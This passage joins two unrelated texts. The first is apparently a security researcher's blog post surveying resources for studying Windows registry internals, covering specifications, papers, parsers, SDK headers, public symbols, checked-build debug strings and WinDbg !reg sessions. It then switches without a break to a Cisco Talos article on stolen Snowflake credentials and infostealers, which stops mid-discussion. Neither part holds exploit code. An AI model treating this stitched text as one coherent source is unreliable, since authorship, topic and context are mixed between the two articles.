• Security Accounts Manager, author unknown (signed as [email protected]) – a comprehensive article primarily focused on the user management internals in Windows 2000 and XP, dissecting a number of binary structures used by the SAM component. Since user and credential management is highly tied to the registry (all of the authentication data is stored there), the article also includes a "Registry Structure" section that explains the encoding of regf hive files.
• 🔑 Windows registry file format specification, Maxim Suhanov – a high-quality and relatively up-to-date specification of the regf format versions 1.3 to 1.6, with extra bits of information regarding the ancient versions 1.1 and 1.2.
• Windows NT Registry File (REGF) format specification, Joachim Metz – another independently developed specification of the regf format associated with the libregf library.
• Push the Red Button, Brendan Dolan-Gavitt (moyix) – a personal blog focused on security, reverse engineering and forensics. It contains a number of interesting registry-related posts dating back to 2007-2009.
• Windows Incident Response, Harlan Carvey – a technical blog dedicated to incident response and digital analysis of Windows, with a variety of posts dealing with the registry published between 2006-2022.
• My DFIR Blog, Maxim Suhanov – another blog concentrating on digital forensics with many mentions of the Windows registry. It provides some original information that's hard to find elsewhere, see e.g. Containerized registry hives in Windows.
• Digging Up the Past: Windows Registry Forensics Revisited, David Via – a blog post by Mandiant discussing the recovery of data from registry hives and transactional logs.
• Creating Registry Links and Mysteries of the Registry, Pavel Yosifovich – two blog posts covering the creation of symbolic links in the registry, and its overall internal structure.
• Windows Registry, Wikipedia contributors – as usual, Wikipedia doesn't disappoint, and even though the article includes few deeply technical details, it features extensive sections on the history of the registry, its high level design and role in the system.

Furthermore, The Old New Thing is a fantastic, technical blog exploring the quirks, design decisions, and historical context behind Windows features. It is written by a Microsoft employee of over 30 years, Raymond Chen, with an astounding consistency of one post per day. While the blog posts are not technically documentation, they are very highly regarded in the community and can be considered a de-facto Microsoft knowledge resource – only more fun than Microsoft Learn. Over the course of the last 20+ years, Raymond would sometimes write about the registry, sharing interesting behind-the-scenes stories and anecdotes concerning this feature. I have tried to find and compile all of the relevant registry-related posts in the single list below:

• Why is a registry file called a "hive"? (August 8th, 2003)
• The long and sad story of the Shell Folders key (November 3rd, 2003)
• Beware of non-null-terminated registry strings (August 24th, 2004)
• The performance cost of reading a registry key (February 22nd, 2006)
• The .Default user is not the default user (March 2nd, 2007)
• Why are INI files deprecated in favor of the registry? (November 26th, 2007)
• How did registry keys work in 16-bit Windows? (January 17th, 2008)
• Why do registry keys have a default value? (January 18th, 2008)
• Why can’t you apply ACLs to registry values? (January 23rd, 2009)
• What is the terminology for describing the various parts of the registry? (February 4th, 2009)
• What the various registry data types mean is different from how they are handled (February 5th, 2009)
• The inability to lock someone out of the registry is a feature, not a bug (March 26th, 2009)
• Why is there the message '!Do not use this registry key' in the registry? (March 22nd, 2011)
• Why is the registry a hierarchical database instead of a relational one? (September 7th, 2011)
• Cheap amusement: Searching for spelling errors in the registry (May 10th, 2012)
• What was the registry like in 16-bit Windows? (May 21st, 2012)
• Why does RegOpenKey sometimes (but not always) fail if I use two backslashes instead of one? (October 4th, 2012)
• Why do I get notified for changes to HKEY_CLASSES_ROOT when nobody is writing to HKEY_CLASSES_ROOT? (December 5th, 2012)
• RegNotifyChangeKeyValue sucks less (February 26th, 2015)
• So how bad is it that I’m calling RegOpenKey instead of RegOpenKeyEx? (January 20th, 2016)
• How can I change a registry key from within the debugger? (September 8th, 2016)
• If I simply want to create a registry key but don’t intend to do anything else with it, what security access mask should I ask for? (November 28th, 2016)
• Diagnosing why you cannot create a stable subkey under a volatile parent key (May 25th, 2017)
• How can I programmatically inspect and manipulate a registry hive file without mounting it? (October 15th, 2018)
• It rather involved being on the other side of this airtight hatchway: Messing with somebody’s registry (January 9th, 2019)
• Why doesn’t RegSetKeySecurity propagate inheritable ACEs, but SetSecurityInfo does? (January 2nd, 2020)
• The sad but short story of the SM_AccessoriesName registry value (March 10th, 2020)
• Why does Reg­Notify­Change­Key­Value stop notifying once the key is deleted? (May 7th, 2020)
• How can I emulate the REG_NOTIFY_THREAD_AGNOSTIC flag on systems that don’t support it? part 1 (December 21st, 2020)
• How can I emulate the REG_NOTIFY_THREAD_AGNOSTIC flag on systems that don’t support it? part 2 (December 22nd, 2020)
• How can I emulate the REG_NOTIFY_THREAD_AGNOSTIC flag on systems that don’t support it? part 3 (December 23rd, 2020)
• How can I emulate the REG_NOTIFY_THREAD_AGNOSTIC flag on systems that don’t support it? part 4 (December 24th, 2020)
• How can I emulate the REG_NOTIFY_THREAD_AGNOSTIC flag on systems that don’t support it? part 5 (December 25th, 2020)
• The history of passing a null pointer as the key name to Reg­Open­Key­Ex (July 23rd, 2021)
• On the failed unrealized promise of Reg­Override­Predef­Key (October 20th, 2023)

Academic papers and presentations

Recovering meaningful artifacts from the registry during digital forensics is also a problem known in academia. To find relevant works, I often begin by typing the titles of a few known papers in Google Scholar, and then delve into a breadth-first search of their bibliographies. Here's what I managed to find pertaining to the registry:

• Forensic analysis of the Windows registry in memory (2008), Brendan Dolan-Gavitt – a paper detailing techniques for extracting and analyzing Windows registry data from physical memory dumps.
• Recovering deleted data from the Windows registry (2008), Timothy D. Morgan – a paper and accompanying slide deck that examine deleted registry data structures in NT-based Windows systems, propose an algorithm for their recovery, and introduce the RegLookup tool to implement this recovery process.
• Forensic analysis of unallocated space in Windows registry hive files (2008), Jolanta Thomassen – a 63-page MSc dissertation demonstrating the feasibility of recovering deleted or updated Windows registry keys from unallocated space within hive files.
• The internal structure of the Windows Registry (2009), Peter Norris – a 144-page MSc thesis focusing on the reconstruction of damaged registry files, analysis of historical states, and the extraction of standalone forensic evidence from dispersed fragments.
• The Windows NT Registry File Format (2009), Timothy D. Morgan – a concise paper providing a comprehensive description of the regf format data structures.
• Windows Kernel Internals: NT Registry Implementation (2009), David B. Probert – a slide deck discussing the registry internals through the lens of the Windows kernel, offering a unique perspective of a Windows kernel developer.

Open-source software

To paraphrase a famous saying, source code is worth a thousand words. Sometimes it is far easier to grasp a concept or design by looking straight at code instead of reading an English explanation. And while the canonical implementation of the registry is the Windows kernel, a number of open-source projects have been developed over the years to operate on registry hives. They are typically either based on regf format analysis performed by the developer itself, or on existing documentation and other open-source tools. The three main reasons for their existence are a) computer forensics, b) emulating Windows behavior on other host platforms, c) directly accessing the SAM hive to change/reset local user credentials. Whatever the reason, such projects may prove useful in better understanding the internal hive format, and help in building proof-of-concept hives if necessary. A list of all the relevant open-source libraries and utilities I have found is shown below:

• libregf – a library written in C with Python bindings,
• hivex – a library written in C as part of the libguestfs project, with bindings for OCaml, Perl, Python and Ruby,
• cmlib – a module implemented in C as part of ReactOS, which closely resembles the Windows implementation,
• chntpw (The Offline Windows Password Editor) – a tool developed in C between 1997-2014 to manage Windows user passwords offline directly in the SAM hive. The registry-related code is located in ntreg.c (regf parser) and reged.c (a basic registry editor),
• Samba – the Samba project includes yet another implementation of the Windows registry (under source3/registry and source4/lib/registry),
• regipy – a Python registry hive parsing library and accompanying tools,
• yarp – literally yet another registry parser (in Python),
• Registry – a hive parser written in C#,
• nt-hive – a hive parser written in Rust (with read-only capabilities),
• Notatin – another hive parser written in Rust, including Python bindings and helper binaries.

Lastly, at the time of this writing, simply searching for some internal kernel function names on GitHub might reveal how certain functionality was implemented in Windows itself 20+ years ago.

SDK Headers

Header files distributed with Software Development Kits are an interesting case, because on one hand they are an official resource with information that Microsoft intends the developers to use, but on the other – they are a bit more concealed, as online documentation isn't always kept up to date with regards to their contents. We can thus explore their local copies on disk and sometimes find artifacts (function declarations, structure definitions, comments) that are not publicly documented online. Some of the headers most relevant to the registry are:

• winreg.h (user-mode) – the primary registry header on the list, containing the prototypes of functions and structures from the official Registry API.
• wdm.h (kernel-mode) – specifies a number of interesting constants/flags and types used by the system call interface of the registry, for example hive load flags (third argument of NtLoadKey2, such as REG_LOAD_HIVE_OPEN_HANDLE etc.) or key/value query structures (KEY_TRUST_INFORMATION, KEY_VALUE_LAYER_INFORMATION, etc.).
• ntddk.h (kernel-mode) – contains some types not found elsewhere, e.g. KEY_LAYER_INFORMATION.
• winnt.h (user-mode) – mostly equivalent to wdm.h.
• winternl.h (user-mode) – contains the declarations of some registry-related system calls (NtRenameKey, NtSetInformationKey).

Security research

Learning about prior security research can be especially useful when starting a new project yourself. Not only does it often reveal deep technical details about the target, but it also comes from like-minded professionals who look at the code through a security lens, and may inspire ideas of further weaknesses or areas that require more attention. When it comes to the registry, I think that relatively little work has been done in the public space compared to its high complexity and the pivotal role it plays in the Windows operating system. Nevertheless, there were some materials that I found extremely insightful, especially those by my colleague James Forshaw from Project Zero. The full list of security-relevant resources I have managed to gather on this topic is shown below (including some references to my own publications from the past):

• Case study of recent Windows vulnerabilities (2010), Gynvael Coldwind, Mateusz Jurczyk – a presentation on several security bugs Gynvael and I found during our brief registry research in 2009/2010.
• Microsoft Kernel Integer Overflow Vulnerability (2016), Honggang Ren – a write-up on CVE-2016-0070, a Windows kernel vulnerability in the loading of malformed hive files.
• Project Zero bug tracker (2016), James Forshaw, Mateusz Jurczyk – four bug reports submitted to Microsoft as a result of naive registry hive fuzzing.
• Project Zero bug tracker (2014-2020), James Forshaw – 17 vulnerabilities related to the registry discovered by James, many of them are logic issues at the intersection of registry and other system mechanisms (security impersonation, file system).

Books

For a 20+ year old codebase such as the registry, it is expected that some resources covering it in the early days were published on paper rather than on the Internet. For this reason, part of my standard routine is to search Google Books for various technical terms and keywords related to the specific technology and see what pop ups. For the registry, these could be e.g. "regedit", "regf", "hbin", "LOG1", "RegCreateKey", "NtCreateKey", "HvAllocateCell", "\Registry\Machine", "key control block" and so on. In some cases this yields books with unique, strictly technical information, while in others the most insightful part is the historical perspective and being able to see how the given technology was perceived soon after it first came out. And sometimes the value of the book is a complete surprise until it arrives in the mailbox, as it is neither offered for sale as an ebook nor has preview available in Google Books, and so a hard copy is required.

The books that I found which are either fully or partially dedicated to the Windows registry are (latest to oldest):

• 🔑 Windows Internals (Part 2, 7th Edition) by Andrea Allievi, Alex Ionescu, Mark E. Russinovich, David A. Solomon – the Windows Internals series is an in-depth technical guide that delves into the architecture, components, and underlying mechanisms of the operating system. The latest edition, covering Windows 10, features a dedicated 35-page chapter on the registry, and explores many technical details that are difficult to find elsewhere. Notably, the registry has been covered in the book since Windows Internals 4 (corresponding to Windows XP/Server 2003), with explanations progressively expanding in subsequent editions. Comparing these chapters could be an interesting exercise to observe how the registry has evolved throughout the years.
• Windows Registry Forensics by Harlan Carvey
• Microsoft Windows Registry Guide by Jerry Honeycutt
• Managing the Windows NT Registry and Managing the Windows 2000 Registry by Paul E. Robichaux
• Inside the Registry for Microsoft Windows 95 by Günter Born
• Inside the Windows 95 Registry by Ron Petrusha

Patents

Another useful source of information that may be otherwise difficult to find are patents, indexed by Google Patents. A particularly valuable result that I found this way is 🔑 Containerized Configuration (US20170279678A1), Microsoft's patent from 2016 that thoroughly explains the core concepts behind differencing hives and layered keys in registry. These mechanisms are part of a new feature introduced in Windows 10 Anniversary Update to better support containerization, but any official documentation of how it works is nowhere to be found. The patent is thus a great aid in understanding the intricate aspects of this new registry functionality, adding the necessary context and helping to make sense of otherwise highly cryptic kernel functions like CmpPrepareDiscardAndReplaceKcbAndUnbackedHigherLayers.

Manual analysis

So far, all of the resources we've discussed were accessible through a web browser, a text editor, or in physical form. But there is another type of information source that is equally, if not more, important, and that requires more specialized tooling to make sense of it. What I mean by that is the knowledge we can extract from the executable images in Windows responsible for handling the registry, both in terms of the "standard" reverse-engineering and also fully taking advantage of any helpful artifacts in or around them. I'll write more about the hands-on reversing process in upcoming posts, and now we will turn our attention to those artifacts that present us with clear-cut information without the need for deduction.

On a side note, by far the most essential file to be looking at is ntoskrnl.exe, the core NT kernel image. It contains the entirety of the kernel-space registry implementation and is of interest both from the security and functional perspective. I have personally spent 99% of my manual analysis time looking at that particular binary, but it's worth noting that there are a few other executables and libraries related to the registry as well:

• winload.exe – the Windows Boot Loader, which executes before the Windows kernel. One of its responsibilities is to load the SYSTEM hive into memory and read some configuration from it, so it includes a partial copy of the registry code from ntoskrnl.exe.
• offreg.dll – the Offline Registry Library, which also shares some registry code with the kernel (but executes in user-mode).
• kernelbase.dll – one of the primary WinAPI libraries, implementing a majority of the user-space Registry API.
• ntdll.dll – another core user-mode library which provides a bridge between the Registry API and the kernel registry implementation.
• regsvc.dll – a DLL implementing the Remote Registry Service.

Let's investigate what types of information about the registry are readily available to us by running a disassembler/decompiler. I personally use IDA Pro + Hex-Rays and so the examples below are based on them.

🔑 Public symbols (PDB)

Microsoft makes public symbols available for a majority of executable images found in C:\Windows, for the benefit of developers and security researchers. By "public" symbols I mean PDB files that mainly contain the names of functions found in the binaries, which help in symbolizing system stack traces during debugging or in the event of a crash. In the past, the symbols used to be bundled with the system installation media or on a separate Resource Kit disc, and later they were available for download in the form of pre-packaged archives from the Microsoft website. Both of these channels have been deprecated, and currently the only supported way to obtain the symbols is on a per-file basis from the Microsoft Symbol Server. The PDB files can be downloaded directly with the official SymChk tool, or indirectly through software that supports the symbol server (e.g. IDA Pro, WinDbg).

As for ntoskrnl.exe specifically, its accompanying symbols are one of the most invaluable sources of information. As mentioned in an earlier post, the Windows kernel follows a consistent naming convention, so we can immediately see which internal routines are related to the registry, and where the entry points (registry-related system call handlers) that we might start our analysis from are. It shows us the extent of the code we are dealing with (1000+ registry functions) and makes it possible to perform analysis such as the one shown in blog post #2 (counting lines of code per system version) out-of-the-box, without doing any reverse engineering work. And perhaps most importantly, the function names make it substantially easier to reason about the code while doing the actual reversing, especially for functions with very descriptive names, like CmpCheckAndFixSecurityCellsRefcount or CmpPromoteSingleKeyFromParentKcbAndChildKeyNode.

The other type of information we can find in the kernel debug symbols are types: enums, structures and unions. However, there are two caveats. First, only some types are included in the PDBs, and it's not clear what criteria Microsoft uses to decide whether to publish them or not. My rough estimate is that ~50% of the registry types can be found there, mostly the fundamental ones. Secondly, even though the prototypes of some types are in the symbols, neither the function arguments nor local variables are annotated with their types, so it is still necessary to determine the corresponding types and manually annotate the variables for the decompiled output to make any sense. Nevertheless, having access to this information is still a huge help both in understanding code on a local level and also grasping the bigger picture.

The structures that can be found in the public symbols are:

• Hive descriptors (HHIVE, CMHIVE) and related structures
• Hive bin and cell structures (HBIN, CM_KEY_NODE, CM_KEY_VALUE, CM_KEY_SECURITY, ...)
• Key object related structures (CM_KEY_BODY, CM_KEY_CONTROL_BLOCK, ...)
• Some transaction related structures (CM_TRANS, CM_KCB_UOW, ...)
• Some layered-key related structures (CM_KCB_LAYER_INFO, ...)

Meanwhile, the ones that are missing and need to be manually reconstructed are:

• The parse context and path information structures (as used by CmpParseKey)
• Some transaction related structures (on-disk transaction log records, lightweight transaction object descriptors, ...)
• Virtualization-related structures
• Most layered-key related structures

Most of the relevant type names start with "CM", so it's easy to find them in the Local Types window in IDA:

I would like to take this opportunity to thank Microsoft for making the symbols available for download, and encourage other vendors to do the same for their products. 🙂

Debug/Checked builds of Windows

Microsoft used to publish debug/checked builds of Windows (in addition to "free" builds) from Windows NT to early Windows 10. The difference between them was that the debug/checked builds had some compiler optimizations disabled, and they enabled extra debugging checks to identify internal system state inconsistencies as early as possible. The developers of kernel-mode drivers were encouraged to test them on debug/checked Windows builds before considering them as stable and shipping them to customers. Unfortunately, these special builds have been discontinued and don't exist anymore for the latest Windows 10 and 11.

These old builds can be quite valuable in the context of reverse engineering, because the extra checks may reveal some invariants and assumptions that the code makes, but which are not obvious when looking at retail builds. What is more, the checks are often verbose and include calls to functions like RtlAssert, DbgPrint, DbgPrintEx etc., passing a textual representation of the failed assertion, the source code file name and/or the line number. These may disclose the names of variables, structure members, enums, constants and other types of information. Let's see some examples:

DbgPrintEx(DPFLTR_CONFIG_ID, 24u, "\tImplausible size %lx\n", v13);

DbgPrintEx(DPFLTR_CONFIG_ID, 24u, "\tKey is bigger than containing cell.\n");

DbgPrintEx(DPFLTR_CONFIG_ID, 0, "invalid name starting with NULL on key %08lx\n", a3);

DbgPrintEx(DPFLTR_CONFIG_ID, 0, "invalid (ODD) name length on key %08lx\n", a3);

DbgPrintEx(DPFLTR_CONFIG_ID, 24u, "\tNo key signature\n");

DbgPrintEx(DPFLTR_CONFIG_ID, 0, "\tData:%08lx - unallocated Data\n", v20);

DbgPrintEx(DPFLTR_CONFIG_ID, 24u, "Class:%08lx - Implausible size \n", v20);

DbgPrintEx(DPFLTR_CONFIG_ID, 24u, "SecurityCell is HCELL_NIL for (%p,%08lx) !!!\n", a1, v67);

DbgPrintEx(DPFLTR_CONFIG_ID, 24u, "SecurityCell %08lx bad security for (%p,%08lx) !!!\n", v86, a1, v73);

DbgPrintEx(DPFLTR_CONFIG_ID, 0, "Root cell cannot be a symlink or predefined handle\n");

DbgPrintEx(DPFLTR_CONFIG_ID, 0, "invalid flags on root key %lx\n", v31);

DbgPrintEx(DPFLTR_CONFIG_ID, 24u, "\tWrong parent value.\n");

The CmpCheckKey function is responsible for verifying the structural correctness of every key in a newly loaded hive, and for every problem it encounters, it prints a more or less verbose message. This can help us better understand what each of these checks is intended to accomplish.

DbgPrintEx(DPFLTR_CONFIG_ID, 0, "CmKCBToVirtualPath ==> Could not get name even from parent KCB = %p!!!!\n", a1);

This message can be interpreted as some kind of a fallback mechanism failing when converting a registry path. It could indicate an interesting/brittle code construct, and indeed, the surrounding code did turn out to be affected by a 16-bit integer overflow and a resulting pool memory corruption (reported in Project Zero issue #2341). In consequence, the entire block of code (including the vulnerability) was removed, as it was functionally redundant and didn't serve any practical purpose.

RtlAssert("(*VirtContext) & CMP_VIRT_IDENTITY_RESTRICTED", "minkernel\\ntos\\config\\cmveng.c", 3554u, 0i64);

This single line of code in CmpIsSystemEntity reveals a few pieces of information: the name of the function argument (VirtContext), an internal name of a flag that is not documented in any other resources (CMP_VIRT_IDENTITY_RESTRICTED), and the source file name and line number of the expression (minkernel\ntos\config\cmveng.c:3554). Such information can be ported into our main disassembler database (such as an .idb) and later help us better understand other areas of code that use the same object/flags.

DbgPrintEx(DPFLTR_CONFIG_ID, 22u, "Error[1] %lx while processing CmLogRecActionDeleteKey\n", v12);

This and similar calls in CmpDoReDoRecord inform us of the internal names of the transaction record types (CmLogRecActionCreateKey, CmLogRecActionDeleteKey etc.), which again are not publicly mentioned anywhere else.

Debugging and experimentation

Poking and prodding the registry of a running Windows system is the last way of learning about it that comes to my mind. In some sense it is a required step, because we can only get so far by reading static documentation and code. At some point, we will be forced to investigate the real memory mappings corresponding to the hives, explore the contents of in-memory registry objects, or verify that a specific function behaves the way we think it does. Thankfully, there are some tools that make it possible to peek into the internal registry state beyond what the standard utilities like Regedit allow. They are briefly described in the sections below.

Extended Regedit alternatives

The built-in Regedit.exe utility offers quite basic functionality, and while it is adequate for most tinkering and system administration purposes, some third party developers have created custom registry editors with an extended set of options. I haven't personally used them so I cannot attest to their quality, but they may offer some benefits to other researchers. One example is Total Registry, whose main advantage is being able to browse the internal registry tree structure (rooted in \Registry) in addition to the standard high-level view with the five HKEY_* root keys.

Process Monitor

Process Monitor is a part of the Sysinternals suite of utilities, and is a widely known program for monitoring all file system, registry and process/thread activity in Windows in real time. Of course in this case, we are specifically interested in registry monitoring. For every operation taking place, we can see a corresponding line in the output window, which specifies the time, type of operation, originating process, registry key path, result of the operation and other details (all of this is highly configurable):

ProcMon is a great tool for exploring what the registry is like as an interface, and how applications in the system use it. It is the most helpful when dealing with logical bugs, and attacking more privileged processes through the registry rather than attacking the registry implementation itself. For example, I used it to find a suitable exploitation primitive for Project Zero issue #2492, which allowed me to demonstrate that predefined keys were inherently insecure, leading to their deprecation. One of its advantages is that it works out-of-the-box without any special system configuration (other than the admin rights required to load a driver), and it's certainly a must have in a researcher's toolbox.

🔑 WinDbg and the !reg extension

WinDbg attached as a kernel debugger to a test (virtual) machine is the ultimate tool to explore the inner workings of the Windows kernel. I have used it extensively at every step of my research, to analyze how the registry works, reproduce any bugs that I found, and develop reliable proof-of-concept exploits. While its standard debugger functionality is powerful enough for most tasks, it also comes with a dedicated !reg extension that automates the process of traversing registry-specific structures and presents them in an accessible way. The full list of its options is shown below:

reg <command>      <params>       - Registry extensions

    querykey|q     <FullKeyPath>  - Dump subkeys and values

    keyinfo        <HiveAddr> <KnodeAddr> - Dump subkeys and values, given knode

    kcb        <Address>      - Dump registry key-control-blocks

    knode      <Address>      - Dump registry key-node struct

    kbody      <Address>      - Dump registry key-body struct

    kvalue     <Address>      - Dump registry key-value struct

    valuelist  <HiveAddr> <KnodeAddr> - Dumps list of values for a particular knode

    subkeylist <HiveAddr> <KnodeAddr> - Dumps list of subkeys for a particular knode

    baseblock  <HiveAddr>     - Dump the baseblock for the specified hive

    seccache   <HiveAddr>     - Dump the security cache for the specified hive

    hashindex  <HiveAddr> <conv_key>  - Find the hash entry given a Kcb ConvKey

    openkeys   <HiveAddr|0>   - Dump the keys opened inside the specified hive

    openhandles <HiveAddr|0>  - Dump the handles opened inside the specified hive

    findkcb    <FullKeyPath>  - Find the kcb for the corresponding path

    hivelist                  - Displays the list of the hives in the system

    viewlist   <HiveAddr>     - Dump the pinned/mapped view list for the specified hive

    freebins   <HiveAddr>     - Dump the free bins for the specified hive

    freecells  <BinAddr>      - Dump the free cells in the specified bin

    dirtyvector<HiveAddr>     - Dump the dirty vector for the specified hive

    cellindex  <HiveAddr> <cellindex> - Finds the VA for a specified cell index

    freehints  <HiveAddr> <Storage> <Display> - Dumps freehint info

    translist  <RmAddr|0>     - Displays the list of active transactions in this RM

    uowlist    <TransAddr>    - Displays the list of UoW attached to this transaction

    locktable  <KcbAddr|ThreadAddr> - Displays relevant LOCK table content

    convkey    <KeyPath>      - Displays hash keys for a key path input

    postblocklist             - Displays the list of threads which have 1 or more postblocks posted

    notifylist                - Displays the list of notify blocks in the system

    ixlock     <LockAddr>     - Dumps ownership of an intent lock

    finalize   <conv_key>     - Finalizes the specified path or component hash

    dumppool   [s|r]          - Dump registry allocated paged pool

       s - Save list of registry pages to temporary file

       r - Restore list of registry pages from temp. file

As we can see, the extension offers a wide selection of commands related to various components of the registry: hives, keys, values, security descriptors, transactions, notifications and so on. I have found many of them to be immensely useful, either on a regular basis (e.g. querykey, kcb, hivelist), or for more specialized tasks when experimenting with a particular feature (e.g. translist, uowlist for transactions).

The best way to discover its potential is to see it in action on a specific example. I used a Windows 11 guest system for this purpose. Let's query an existing HKEY_LOCAL_MACHINE\Software\DefaultUserEnvironment key to find out more about it:

kd> !reg querykey \Registry\Machine\Software\DefaultUserEnvironment

Found KCB = ffff888788731ad0 :: \REGISTRY\MACHINE\SOFTWARE\DEFAULTUSERENVIRONMENT

Hive         ffff88877af5c000

KeyNode      000001e6ed0334b4

[ValueType]         [ValueName]                   [ValueData]

REG_EXPAND_SZ       Path                          %USERPROFILE%\AppData\Local\Microsoft\WindowsApps;

REG_EXPAND_SZ       TEMP                          %USERPROFILE%\AppData\Local\Temp

REG_EXPAND_SZ       TMP                           %USERPROFILE%\AppData\Local\Temp

Here, we have referenced the key by its internal NT object manager registry path starting with \Registry. The relation between the high-level paths known from Regedit / the Registry API and the internal paths used by the kernel will be detailed in a future post – for now, we just need to know that these paths are equivalent. We can learn a few things from the command output: the key is cached in memory and the KCB (Key Control Block, represented by the CM_KEY_CONTROL_BLOCK structure) is located at address 0xffff888788731ad0. The address of the SOFTWARE hive descriptor is 0xffff88877af5c000, and that's where the HHIVE / CMHIVE structures are stored. HHIVE is the first member of CMHIVE at offset 0, hence why their addresses line up, similar to how the KPROCESS / EPROCESS structures work. Furthermore, the key node (CM_KEY_NODE), the definitive representation of a key within the hive file, is mapped at address 0x1e6ed0334b4. You may notice that this is a user-mode address, and that's because in modern versions of Windows, hive files are generally operated on via section-based mappings within the user address space of a thin "Registry" process (you can find it in Task Manager). Lastly, we can see that the key has three values and we are provided with their types, names and data.

Next, we can use !reg kcb to learn more about the key based on its cached KCB data:

kd> !reg kcb ffff888788731ad0

Key              : \REGISTRY\MACHINE\SOFTWARE\DEFAULTUSERENVIRONMENT

RefCount         : 0x0000000000000001

Flags            : CompressedName,

ExtFlags         :

Parent           : 0xffff88877ab517e0

KeyHive          : 0xffff88877af5c000

KeyCell          : 0xe824b0 [cell index]

TotalLevels      : 4

LayerHeight      : 0

MaxNameLen       : 0x0

MaxValueNameLen  : 0x8

MaxValueDataLen  : 0x66

LastWriteTime    : 0x 1d861d2:0xdb7718d1

KeyBodyListHead  : 0xffff888788731b48 0xffff888788731b48

SubKeyCount      : 0

Owner            : 0x0000000000000000

KCBLock          : 0xffff888788731bc8

KeyLock          : 0xffff888788731bd8

This is a summary of some of the KCB components that the author of the extension deemed the most important. We can see the value of the reference count, flags shown in textual form, the KCB address of the key's parent, the address of the hive, etc. Let's resolve the virtual address of the key node by using !reg cellindex:

kd> !reg cellindex 0xffff88877af5c000 0xe824b0

Map = ffff88877ec20000 Type = 0 Table = 7 Block = 82 Offset = 4b0

MapTable     = ffff88877ec37000 

MapEntry     = ffff88877ec37c30 

BinAddress = 000001e6ed033001, BlockOffset = 0000000000000000

BlockAddress = 000001e6ed033000 

pcell:  000001e6ed0334b4

The result is 0x1e6ed0334b4, the same value that !reg querykey returned to us earlier. In order to inspect the contents of the key node, we can use !reg knode:

kd> !reg knode 1e6ed0334b4

Signature: CM_KEY_NODE_SIGNATURE (kn)

Name                 : DefaultUserEnvironment

ParentCell           : 0x20

Security             : 0x98f300 [cell index]

Class                : 0xffffffff [cell index]

Flags                : 0x20

MaxNameLen           : 0x0

MaxClassLen          : 0x0

MaxValueNameLen      : 0x8

MaxValueDataLen      : 0x66

LastWriteTime        : 0x 1d861d2:0xdb7718d1

SubKeyCount[Stable  ]: 0x0

SubKeyLists[Stable  ]: 0xffffffff

SubKeyCount[Volatile]: 0x0

SubKeyLists[Volatile]: 0xffffffff

ValueList.Count      : 0x3

ValueList.List       : 0xe825a8

A very similar effect can be achieved by finding the Registry process, switching to its context, and inspecting the memory directly by overlaying it onto the CM_KEY_NODE structure layout:

kd> !process 0 0

**** NT ACTIVE PROCESS DUMP ****

PROCESS ffffe30198ef5040

    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000

    DirBase: 001ae002  ObjectTable: ffff88877a285f00  HandleCount: 3302.

    Image: System

PROCESS ffffe30198fe1080

    SessionId: none  Cid: 0040    Peb: 00000000  ParentCid: 0004

    DirBase: 1002c002  ObjectTable: ffff88877a277b40  HandleCount:   0.

    Image: Registry

[...]

kd> .process ffffe30198fe1080

Implicit process is now ffffe301`98fe1080

WARNING: .cache forcedecodeuser is not enabled

kd> dt _CM_KEY_NODE 1e6ed0334b4

nt!_CM_KEY_NODE

   +0x000 Signature        : 0x6b6e

   +0x002 Flags            : 0x20

   +0x004 LastWriteTime    : _LARGE_INTEGER 0x01d861d2`db7718d1

   +0x00c AccessBits       : 0x3 ''

   +0x00d LayerSemantics   : 0y00

   +0x00d Spare1           : 0y00000 (0)

   +0x00d InheritClass     : 0y0

   +0x00e Spare2           : 0

   +0x010 Parent           : 0x20

   +0x014 SubKeyCounts     : [2] 0

   +0x01c SubKeyLists      : [2] 0xffffffff

   +0x024 ValueList        : _CHILD_LIST

   +0x01c ChildHiveReference : _CM_KEY_REFERENCE

   +0x02c Security         : 0x98f300

   +0x030 Class            : 0xffffffff

   +0x034 MaxNameLen       : 0y0000000000000000 (0)

   +0x034 UserFlags        : 0y0000

   +0x034 VirtControlFlags : 0y0000

   +0x034 Debug            : 0y00000000 (0)

   +0x038 MaxClassLen      : 0

   +0x03c MaxValueNameLen  : 8

   +0x040 MaxValueDataLen  : 0x66

   +0x044 WorkVar          : 0

   +0x048 NameLength       : 0x16

   +0x04a ClassLength      : 0

   +0x04c Name             : [1]  "敄"

In the listing above, we can see the full extent of information stored in the hive for each key. The name in the last line is incorrectly displayed as 敄, because formally the type of CM_KEY_NODE.Name is wchar_t[1], but since the name consists of ASCII-only characters, it is compressed down so that each wchar_t element stores two characters of the name (as indicated by the flag 0x20 translated by WinDbg as CompressedName). So 敄 is in fact the two first letter of the name, "De", represented as a UTF-16 code point.

This is only a glimpse of what is possible with WinDbg and the !reg extension. I highly encourage you to experiment with other options if you're curious about the mechanics of the registry and want to explore further.

Conclusion

In this post, I have aimed to share my methodology for gathering information and learning about new vulnerability research targets. I hope that you find some of it useful, either as a generalized approach that applies to other software, or as a comprehensive knowledge base for the registry itself. Also, if you think I've missed any resources, I'll be more than happy to learn about them. See you in the next post!

By Nick Biasini with contributions from Kendall McKay and Guilherme Venere

Headlines continue to roll in about the many implications and follow-on attacks originating from leaked and/or stolen credentials for the Snowflake cloud data platform.

Adversaries obtained stolen login credentials for Snowflake accounts acquired via information-stealing malware and used those credentials — which weren’t protected by multi-factor authentication (MFA) — to infiltrate Snowflake customers’ accounts and steal sensitive information. However, Snowflake isn’t the issue here. This incident is indicative of a much larger shift we’ve seen on the threat landscape for a while — and it focuses on identity.

Over the past few decades, we’ve seen the criminal threat landscape collapse under the ransomware / data extortion umbrella, which is generating so much revenue everyone is trying to grab their piece of the pie. This has been a stark transformation from a loosely associated group of criminals searching for credit card numbers to steal, and spam messages to send to large syndicates that generate, according to the FBI, more than a billion dollars in revenue annually.

Infostealer logs are a gold mine

As part of our regular intelligence discussions, Talos reviews all Cisco Talos Incident Response (Talos IR) engagements. Ransomware/data extortion typically dominate engagements, with business email compromise (BEC) periodically rising to the top, but more broadly, we’ve seen the ways these actors gain initial access continue to diversify.

Early on, active exploitation of known vulnerabilities or other critical misconfigurations would dominate the initial compromise leading to the breach. Lately, the sources have broadened with a focus on compromised, legitimate credentials. These credentials originate from a wide array of sources from generic phishing campaigns and infostealers to insider threats, valid credentials are the ideal cover for malicious activities. This is further supported with information from the most recent Talos IR Quarterly Trends report, where the top infection vector was valid accounts. This problem extends far beyond compromised credentials with large-scale brute force and password spraying attacks occurring regularly.

